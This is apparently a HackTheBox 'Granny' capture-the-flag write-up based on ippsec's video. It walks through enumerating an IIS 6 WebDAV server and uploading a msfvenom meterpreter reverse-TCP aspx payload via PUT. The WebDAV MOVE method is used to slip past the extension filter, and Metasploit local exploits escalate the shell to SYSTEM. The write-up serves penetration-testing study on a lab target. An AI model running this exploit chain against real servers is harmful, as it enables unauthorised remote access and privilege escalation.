Granny Hackthebox

Disassembly of ippsec’s youtube video HackTheBox - granny. Windows box where OPTIONS get enumerated and used via davtest. Web filter circumvention and a focus on using metasploit to enumerate the box and exploit it.


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This series of write-up will contain comprehensive write-ups of hackthebox machines. In an effort to sharpen reporting techniques and help solidify the understand and methodologies used during penetration testing.

iptables block ip address

quick walkthrough on how to block an ip: grandpas IP: 10.10.10.14 (want to block) grannys IP: 10.10.10.15

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iptables -L #list current rules table

append output rules (block traffic coming out of the box): iptables -A OUTPUT -d 10.10.10.14 -j DROP

-d = destination IP -j = jump to what chain we want it to

Remove iptables rules: iptables –flush

as soon as the iptables changed the “Operation not permitted” occurred.

Enumeration

nmap scan: nmap -sV -sC -oA granny 10.10.10.15

(results)

Port 80 - web-server IIS version 6, webdav server as well.

google IIS versions

found Microsoft website that lists all versions. Link: https://support.microsoft.com/en-ie/help/224609/how-to-obtain-versions-of-internet-information-server-iis

at this point we could be dealing with a Windows Server 2003

setup background enumeration

gobuster to search directories: ./gobuster - w /usr/share/wordlist/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.15 -t 20

(results)

nothing of to much interest.

Nikto scan: nikto -host http://10.10.10.15

(results)

IIS version, PUT, possibly created by front page due to the *vti_bin/shtml.exe* file.

davtest - basic webdav enumeration davtest -url http://10.10.10.15

this test the PUT commands and see if it can EXEC. In this situation it was able to succed with a PUT/EXEC of ‘html’ and ‘txt’.

navigate over to the .html

verified that davtest did indeed upload a file to the webserver.

burp application davtest functions

setup burp to capture the davtest application: Change the “Bind to port” to 80:

Change the Request Handling, adding the target and redirect port to 80:

now we can use our terminal and curl localhost and we intercept:

captured intercept:

Perform davtest on “localhost”

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davtest -url http://localhost

switch over to burp (no intercept) and view the history tab change the filter to show the highest to lowest:

all the davtest was captured. we can see exactly how the PUT command was sent for each of the file types and then attempted to exec.

send to repeater

created a new html file named ippsec.html and simply added “this is a test” and it is successfully created on the web-server via the 201 created.

indeed the html page has been created.

msfvenom to EXEC

On the response we can see the the application is “X-Powered-By: ASP.net” meaning that we would need an “aspx” files. List msfvenom windows payloads: msfvenom -l | grep windows

we are looking for the windows/meterpreter/reverse_tcp

List formats: msfvenom –help-formats

Create payload: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.4 LPORT=1337 -f aspx

copy the payload and inject into our burp PUT

aspx payload has been uploaded to target.

msf handler setup

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use exploit/multi/handler
set LHOST tun0
set LPORT 1337
set payload windows/meterpreter/reverse_tcp
exploit -j

Listener is now up for port 1337.

upload aspx to target

change the ippsec.html to ippsec.aspx and see it it uploads.

at this point we are faced with a forbidden.

analyzing the OPTIONS

From the nmap scan we saw we are able to perform a few OPTIONS commands and if we test the same command nmap sent during the scan via Burp we can retrieve the same list

of interest is the MOVE command. google “http MOVE” TO SEE HOW TO DO THIS

In the example we want to use the MOVE command and set a Destination

to RCE

Next, craft a new MOVE request to set a destination of “ippsec.aspx” to circumvent the filter.

creates 204 No Content but does show that it is functional. checking if file exists:

looks like the MOVE command worked and created the “.aspx”

metasploit response

have successfuly captured a reverse tcp shell. Interact with shell to figure out user level sessions -i 1 shell whoami

background with ctrl+z

enumerate windows

First, search for suggester search suggester

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use post/multi/recon/local_exploit_suggester
set SESSION 1
run

attempt the exploit of the ms16-016 webdav use exploit/windows/local/ms16_016_webdav show options set SESSION 1 set LHOST tun0 run

we see the TCP handler on a localip that why he does tun0 twice

and after re ran with the correct interface we have a successful privesc. It says to us “getuid” to see our level but in the int rum moving to another exploit ms15_0511_client_copy_image user exploit/windows/local/ms15_051_client_copy_image set LHOST tun0 set LHOST tun0 set SESSION 1 run

error occured and didn’t seem like the exploit attached to the session correctly.

Root&Loot

attempt different exploit “ms14_070_tcpip_ioctrl” use exploit/windows/local/ms14_070_tcpip_ioctl set SESSION 1 set LHOST tun0 set LHOST tun0 run

achieved NT AUTHORITY\SYSTEM

#HAILippsec


If you don’t know who ippsec is check him out at:

Youtube: https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA Twitter: https://twitter.com/ippsec